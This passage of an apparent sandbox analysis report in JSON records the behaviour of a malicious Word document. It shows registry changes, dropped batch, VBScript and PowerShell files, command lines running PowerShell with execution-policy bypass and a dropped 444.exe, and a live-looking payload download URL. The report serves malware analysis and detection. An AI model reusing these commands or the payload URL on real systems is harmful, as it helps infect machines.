\"HKCU\\CLSID\\{84F66100-FF7C-4FB4-B0C0-02CD7FB668FE}\\TREATAS\")","\"WINWORD.EXE\" touched \"OpenDocument-Text\" (Path: \"HKCU\\CLSID\\{1B261B22-AC6A-4E68-A870-AB5080E8687B}\\TREATAS\")","\"WINWORD.EXE\" touched \"Microsoft Word Picture\" (Path: \"HKCU\\CLSID\\{00020907-0000-0000-C000-000000000046}\\TREATAS\")","\"WINWORD.EXE\" touched \"Microsoft Forms 2.1 FormPackage\" (Path: \"HKCU\\CLSID\\{AC9F2F90-E877-11CE-9F68-00AA00574A4F}\\TREATAS\")","\"WINWORD.EXE\" touched \"Microsoft Forms 2.0 Form\" (Path: \"HKCU\\CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\MISCSTATUS\")","\"WINWORD.EXE\" touched \"Microsoft Forms 2.1 DataObject\" (Path: \"HKCU\\CLSID\\{1C3B4210-F441-11CE-B9EA-00AA006B1A69}\\CONTROL\")","\"WINWORD.EXE\" touched \"Microsoft Forms 2.1 FontNew\" (Path: \"HKCU\\CLSID\\{AFC20920-DA4E-11CE-B943-00AA006887B4}\\CONTROL\")","\"WINWORD.EXE\" touched \"Wbem Scripting Object Path\" (Path: \"HKCU\\CLSID\\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\\TREATAS\")"],"description_v3":[{"type":"text","value":"\"WINWORD.EXE\" touched \"Computer\" (Path: \"HKCU\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Memory Mapped Cache Mgr\" (Path: \"HKCU\\CLSID\\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"SAX XML Reader 6.0\" (Path: \"HKCU\\CLSID\\{88D96A0C-F192-11D4-A65F-0040963251E5}\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"MXXMLWriter 6.0\" (Path: \"HKCU\\CLSID\\{88D96A0F-F192-11D4-A65F-0040963251E5}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"OneNote Word Add-In Take Notes Content Service Class\" (Path: \"HKCU\\CLSID\\{C580A1B2-5915-4DC3-BE93-8A51F4CAB320}\\INPROCSERVER32\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"PersistentZoneIdentifier\" (Path: \"HKCU\\CLSID\\{0968E258-16C7-4DBA-AA86-462DD61E31A3}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Security Manager\" (Path: \"HKCU\\CLSID\\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Word-Vorlage mit Makros\" (Path: \"HKCU\\CLSID\\{8A624388-AA27-43E0-89F8-2A12BFF7BCCD}\\IMPLEMENTED CATEGORIES\\{00021490-0000-0000-C000-000000000046}\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Word-Dokument\" (Path: \"HKCU\\CLSID\\{F4754C9B-64F5-4B40-8AF4-679732AC0607}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Word 97-2003-Dokument\" (Path: \"HKCU\\CLSID\\{00020906-0000-0000-C000-000000000046}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Word-Dokument mit Makros\" (Path: \"HKCU\\CLSID\\{18A06B6B-2F3F-4E2B-A611-52BE631B2D22}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Word-Vorlage\" (Path: \"HKCU\\CLSID\\{912ABC52-36E2-4714-8E62-A8B73CA5E390}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Word-Vorschau\" (Path: \"HKCU\\CLSID\\{84F66100-FF7C-4FB4-B0C0-02CD7FB668FE}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"OpenDocument-Text\" (Path: \"HKCU\\CLSID\\{1B261B22-AC6A-4E68-A870-AB5080E8687B}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Word Picture\" (Path: \"HKCU\\CLSID\\{00020907-0000-0000-C000-000000000046}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Forms 2.1 FormPackage\" (Path: \"HKCU\\CLSID\\{AC9F2F90-E877-11CE-9F68-00AA00574A4F}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Forms 2.0 Form\" (Path: \"HKCU\\CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\MISCSTATUS\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Forms 2.1 DataObject\" (Path: \"HKCU\\CLSID\\{1C3B4210-F441-11CE-B9EA-00AA006B1A69}\\CONTROL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Microsoft Forms 2.1 FontNew\" (Path: \"HKCU\\CLSID\\{AFC20920-DA4E-11CE-B943-00AA006887B4}\\CONTROL\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched \"Wbem Scripting Object Path\" (Path: \"HKCU\\CLSID\\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\\TREATAS\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-67","type":9,"relevance":10,"name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00020559-00002660) was launched with new environment variables: \"WecVersionForRosebud.134=\"4\"\"\n Process \"cmd.exe\" (UID: 00020559-00002660) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"cmd.exe\" (UID: 00020559-00002660) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"cscript.exe\" (UID: 00021786-00001460) was launched with new environment variables: \"Var4=\"\"%TEMP%\\adobeacd-update\"\", Var2=\"\"v\"\", Var3=\"\"bs\"\", Var1=\"\".\"\"\"\n Process \"powershell.exe\" (UID: 00021811-00003388) was launched with modified environment variables: \"MEOW\"\n Process \"cmd.exe\" (UID: 00024324-00001908) was launched with new environment variables: \"PSExecutionPolicyPreference=\"Bypass\"\"\n Process \"cmd.exe\" (UID: 00024324-00001908) was launched with modified environment variables: \"PSModulePath\"","description_v2":["Process \"cmd.exe\" (UID: 00020559-00002660) was launched with new environment variables: \"WecVersionForRosebud.134=\"4\"\"","Process \"cmd.exe\" (UID: 00020559-00002660) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"","Process \"cmd.exe\" (UID: 00020559-00002660) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","Process \"cscript.exe\" (UID: 00021786-00001460) was launched with new environment variables: \"Var4=\"\"%TEMP%\\adobeacd-update\"\", Var2=\"\"v\"\", Var3=\"\"bs\"\", Var1=\"\".\"\"\"","Process \"powershell.exe\" (UID: 00021811-00003388) was launched with modified environment variables: \"MEOW\"","Process \"cmd.exe\" (UID: 00024324-00001908) was launched with new environment variables: \"PSExecutionPolicyPreference=\"Bypass\"\"","Process \"cmd.exe\" (UID: 00024324-00001908) was launched with modified environment variables: \"PSModulePath\""],"description_v3":[{"type":"text","value":"Process \"cmd.exe\""},{"type":"process","process_uid":"00020559-00002660","label":"Show Process"},{"type":"text","value":"was launched with new environment variables: \"WecVersionForRosebud.134=\"4\"\""},{"type":"linebreak"},{"type":"text","value":"Process \"cmd.exe\""},{"type":"process","process_uid":"00020559-00002660","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\""},{"type":"linebreak"},{"type":"text","value":"Process \"cmd.exe\""},{"type":"process","process_uid":"00020559-00002660","label":"Show Process"},{"type":"text","value":"was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\""},{"type":"linebreak"},{"type":"text","value":"Process \"cscript.exe\""},{"type":"process","process_uid":"00021786-00001460","label":"Show Process"},{"type":"text","value":"was launched with new environment variables: \"Var4=\"\"%TEMP%\\adobeacd-update\"\", Var2=\"\"v\"\", Var3=\"\"bs\"\", Var1=\"\".\"\"\""},{"type":"linebreak"},{"type":"text","value":"Process \"powershell.exe\""},{"type":"process","process_uid":"00021811-00003388","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"MEOW\""},{"type":"linebreak"},{"type":"text","value":"Process \"cmd.exe\""},{"type":"process","process_uid":"00024324-00001908","label":"Show Process"},{"type":"text","value":"was launched with new environment variables: \"PSExecutionPolicyPreference=\"Bypass\"\""},{"type":"linebreak"},{"type":"text","value":"Process \"cmd.exe\""},{"type":"process","process_uid":"00024324-00001908","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"PSModulePath\""}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-68","type":3,"relevance":10,"name":"Removes Office resiliency keys (often used to avoid problems opening documents)","description":"\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"DF(\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"ZH(\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"D(\")\n \"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\")","description_v2":["\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"DF(\")","\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"ZH(\")","\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"D(\")","\"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\")"],"description_v3":[{"type":"text","value":"\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"DF(\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"ZH(\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"D(\")"},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\")"}],"origin":"Registry Access","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-3","type":9,"relevance":5,"name":"Runs shell commands","description":"\"/c %TEMP%\\adobeacd-update.bat\" on 2020-4-17.19:30:09.897\n \"/c %TEMP%\\444.exe\" on 2020-4-17.19:34:10.450","description_v2":["\"/c %TEMP%\\adobeacd-update.bat\" on 2020-4-17.19:30:09.897","\"/c %TEMP%\\444.exe\" on 2020-4-17.19:34:10.450"],"description_v3":[{"type":"text","value":"\"/c %TEMP%\\adobeacd-update.bat\" on 2020-4-17.19:30:09.897"},{"type":"linebreak"},{"type":"text","value":"\"/c %TEMP%\\444.exe\" on 2020-4-17.19:34:10.450"}],"origin":"Monitored Target","attck_id":"T1059","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1059","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-70","type":6,"relevance":10,"name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"REListbox20W\"\n \"WINWORD.EXE\" searching for class \"MsoCommandBarPopup\"\n \"WINWORD.EXE\" searching for class \"NetUICtrlNotifySink\"\n \"WINWORD.EXE\" searching for class \"OfficeTooltip\"","description_v2":["\"WINWORD.EXE\" searching for class \"REListbox20W\"","\"WINWORD.EXE\" searching for class \"MsoCommandBarPopup\"","\"WINWORD.EXE\" searching for class \"NetUICtrlNotifySink\"","\"WINWORD.EXE\" searching for class \"OfficeTooltip\""],"description_v3":[{"type":"text","value":"\"WINWORD.EXE\" searching for class \"REListbox20W\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" searching for class \"MsoCommandBarPopup\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" searching for class \"NetUICtrlNotifySink\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" searching for class \"OfficeTooltip\""}],"origin":"API Call","attck_id":"T1010","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1010","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-25","type":9,"relevance":3,"name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/c %TEMP%\\adobeacd-update.bat\" (UID: 00020559-00002660)\n Spawned process \"PING.EXE\" with commandline \"ping 1.1.2.2\" (UID: 00020573-00002884)\n Spawned process \"chcp.com\" with commandline \"chcp 1251\" (UID: 00021779-00003556)\n Spawned process \"cscript.exe\" with commandline \"\"%TEMP%\\adobeacd-update\"\".\"\"v\"\"bs\"\" (UID: 00021786-00001460)\n Spawned process \"powershell.exe\" with commandline \"-noexit -ExecutionPolicy bypass -noprofile -file %TEMP%\\adobeacd ...\" (UID: 00021811-00003388)\n Spawned process \"cmd.exe\" with commandline \"/c %TEMP%\\444.exe\" (UID: 00024324-00001908)","description_v2":["Spawned process \"cmd.exe\" with commandline \"/c %TEMP%\\adobeacd-update.bat\" (UID: 00020559-00002660)","Spawned process \"PING.EXE\" with commandline \"ping 1.1.2.2\" (UID: 00020573-00002884)","Spawned process \"chcp.com\" with commandline \"chcp 1251\" (UID: 00021779-00003556)","Spawned process \"cscript.exe\" with commandline \"\"%TEMP%\\adobeacd-update\"\".\"\"v\"\"bs\"\" (UID: 00021786-00001460)","Spawned process \"powershell.exe\" with commandline \"-noexit -ExecutionPolicy bypass -noprofile -file %TEMP%\\adobeacd ...\" (UID: 00021811-00003388)","Spawned process \"cmd.exe\" with commandline \"/c %TEMP%\\444.exe\" (UID: 00024324-00001908)"],"description_v3":[{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c %TEMP%\\adobeacd-update.bat\""},{"type":"process","process_uid":"00020559-00002660","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"PING.EXE\" with commandline \"ping 1.1.2.2\""},{"type":"process","process_uid":"00020573-00002884","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"chcp.com\" with commandline \"chcp 1251\""},{"type":"process","process_uid":"00021779-00003556","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cscript.exe\" with commandline \"\"%TEMP%\\adobeacd-update\"\".\"\"v\"\"bs\"\""},{"type":"process","process_uid":"00021786-00001460","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"powershell.exe\" with commandline \"-noexit -ExecutionPolicy bypass -noprofile -file %TEMP%\\adobeacd ...\""},{"type":"process","process_uid":"00021811-00003388","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c %TEMP%\\444.exe\""},{"type":"process","process_uid":"00024324-00001908","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"binary-0","type":8,"relevance":3,"name":"Dropped files","description":"\"adobeacd-update.vbs\" has type \"ASCII text with CRLF line terminators\"\n \"adobeacd-update.ps1\" has type \"ASCII text with CRLF line terminators\"\n \"baddoc.LNK\" has type \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Fri Apr 17 17:28:44 2020 mtime=Fri Apr 17 17:28:44 2020 atime=Fri Apr 17 17:28:51 2020 length=64000 window=hide\"\n \"~_baddoc.doc\" has type \"data\"\n \"adobeacd-update.bat\" has type \"DOS batch file ASCII text with CRLF line terminators\"\n \"ARVOG9VM8ZUJPONF5TQX.temp\" has type \"data\"\n \"index.dat\" has type \"data\"\n \"ExcludeDictionaryEN0409.lex\" has type \"Little-endian UTF-16 Unicode text with no line terminators\"\n \"~WRS_A6E856C3-B2D6-40EC-93D2-6357C746E219_.tmp\" has type \"data\"\n \"~_Normal.dotm\" has type \"data\"\n \"MSForms.exd\" has type \"data\"","description_v2":["\"adobeacd-update.vbs\" has type \"ASCII text with CRLF line terminators\"","\"adobeacd-update.ps1\" has type \"ASCII text with CRLF line terminators\"","\"baddoc.LNK\" has type \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Fri Apr 17 17:28:44 2020 mtime=Fri Apr 17 17:28:44 2020 atime=Fri Apr 17 17:28:51 2020 length=64000 window=hide\"","\"~_baddoc.doc\" has type \"data\"","\"adobeacd-update.bat\" has type \"DOS batch file ASCII text with CRLF line terminators\"","\"ARVOG9VM8ZUJPONF5TQX.temp\" has type \"data\"","\"index.dat\" has type \"data\"","\"ExcludeDictionaryEN0409.lex\" has type \"Little-endian UTF-16 Unicode text with no line terminators\"","\"~WRS_A6E856C3-B2D6-40EC-93D2-6357C746E219_.tmp\" has type \"data\"","\"~_Normal.dotm\" has type \"data\"","\"MSForms.exd\" has type \"data\""],"description_v3":[{"type":"text","value":"\"adobeacd-update.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"adobeacd-update.ps1\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"baddoc.LNK\" has type \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Fri Apr 17 17:28:44 2020 mtime=Fri Apr 17 17:28:44 2020 atime=Fri Apr 17 17:28:51 2020 length=64000 window=hide\""},{"type":"linebreak"},{"type":"text","value":"\"~_baddoc.doc\" has type \"data\""},{"type":"linebreak"},{"type":"text","value":"\"adobeacd-update.bat\" has type \"DOS batch file ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"ARVOG9VM8ZUJPONF5TQX.temp\" has type \"data\""},{"type":"linebreak"},{"type":"text","value":"\"index.dat\" has type \"data\""},{"type":"linebreak"},{"type":"text","value":"\"ExcludeDictionaryEN0409.lex\" has type \"Little-endian UTF-16 Unicode text with no line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"~WRS_A6E856C3-B2D6-40EC-93D2-6357C746E219_.tmp\" has type \"data\""},{"type":"linebreak"},{"type":"text","value":"\"~_Normal.dotm\" has type \"data\""},{"type":"linebreak"},{"type":"text","value":"\"MSForms.exd\" has type \"data\""}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"api-55","type":6,"relevance":7,"name":"Touches files in the Windows directory","description":"$28","description_v2":["\"WINWORD.EXE\" touched file \"C:\\Windows\\Globalization\\Sorting\\SortDefault.nls\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\Fonts\\StaticCache.dat\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\en-US\\user32.dll.mui\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\en-US\\setupapi.dll.mui\"","\"WINWORD.EXE\" touched file \"C:\\Users\\mNIuxVc\\AppData\\Local\\Microsoft\\Windows\\Caches\"","\"WINWORD.EXE\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db\"","\"WINWORD.EXE\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\rsaenh.dll\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\en-US\\KernelBase.dll.mui\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\msxml6r.dll\"","\"WINWORD.EXE\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{A6E856C3-B2D6-40EC-93D2-6357C746E219}.tmp\"","\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\en-US\\msctf.dll.mui\"","\"WINWORD.EXE\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{C126F312-656C-4004-B459-2F684E5F864C}.tmp\""],"description_v3":[{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\Globalization\\Sorting\\SortDefault.nls\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\Fonts\\StaticCache.dat\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\en-US\\user32.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\en-US\\setupapi.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\rsaenh.dll\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\en-US\\KernelBase.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\msxml6r.dll\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{A6E856C3-B2D6-40EC-93D2-6357C746E219}.tmp\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Windows\\System32\\en-US\\msctf.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"WINWORD.EXE\" touched file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{C126F312-656C-4004-B459-2F684E5F864C}.tmp\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-3","type":2,"relevance":10,"name":"Found potential URL in binary/memory","description":"Pattern match: \"http://schemas.openxmlformats.org/drawingml/2006/main\"\n Pattern match: \"http://91.220.131.44/upd/install.exe\"","description_v2":["Pattern match: \"http://schemas.openxmlformats.org/drawingml/2006/main\"","Pattern match: \"http://91.220.131.44/upd/install.exe\""],"description_v3":[{"type":"text","value":"Pattern match: \"http://schemas.openxmlformats.org/drawingml/2006/main\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://91.220.131.44/upd/install.exe\""}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"hooks-0","type":11,"relevance":10,"name":"Hooks API calls","description":"\"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"","description_v2":["\"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"","\"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"","\"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"","\"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"","\"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\""],"description_v3":[{"type":"text","value":"\"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\""},{"type":"linebreak"},{"type":"text","value":"\"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\""},{"type":"linebreak"},{"type":"text","value":"\"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\""},{"type":"linebreak"},{"type":"text","value":"\"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\""},{"type":"linebreak"},{"type":"text","value":"\"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\""}],"origin":"Hook Detection","attck_id":"T1179","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1179","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"hooks-8","type":11,"relevance":10,"name":"Installs hooks/patches the running process","description":"$29","description_v2":["\"WINWORD.EXE\" wrote bytes \"0010f3fcfe070000\" to virtual address \"0xFCF4FE50\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"cd5eb699dd14d601\" to virtual address \"0x3F253258\" (part of module \"WINWORD.EXE\")","\"WINWORD.EXE\" wrote bytes \"4013f3fcfe070000\" to virtual address \"0xFCF4FB48\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"4013f3fcfe070000\" to virtual address \"0xFCF4FE10\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"0010f3fcfe070000\" to virtual address \"0xFCF4FE18\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"e9abc073ffcc\" to virtual address \"0xFE1F4060\" (\"SysAllocStringByteLen@OLEAUT32.DLL\")","\"WINWORD.EXE\" wrote bytes \"e1040a99dd14d601\" to virtual address \"0xEA932350\" (part of module \"OART.DLL\")","\"WINWORD.EXE\" wrote bytes \"27730a99dd14d601\" to virtual address \"0xF53BFA00\" (part of module \"GFX.DLL\")","\"WINWORD.EXE\" wrote bytes \"48b81016edf9fe070000ffe0\" to virtual address \"0xFCF31000\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"0dfc7499dd14d601\" to virtual address \"0xF303DE48\" (part of module \"RICHED20.DLL\")","\"WINWORD.EXE\" wrote bytes \"48b8e011edf9fe070000ffe0\" to virtual address \"0xFE4B1000\" (part of module \"WS2_32.DLL\")","\"WINWORD.EXE\" wrote bytes \"0010f3fcfe070000\" to virtual address \"0xFCF4FB18\" (part of module \"SSPICLI.DLL\")","\"WINWORD.EXE\" wrote bytes \"e933f073ff\" to virtual address \"0xFE1F1180\" (\"VariantClear@OLEAUT32.DLL\")","\"WINWORD.EXE\" wrote bytes 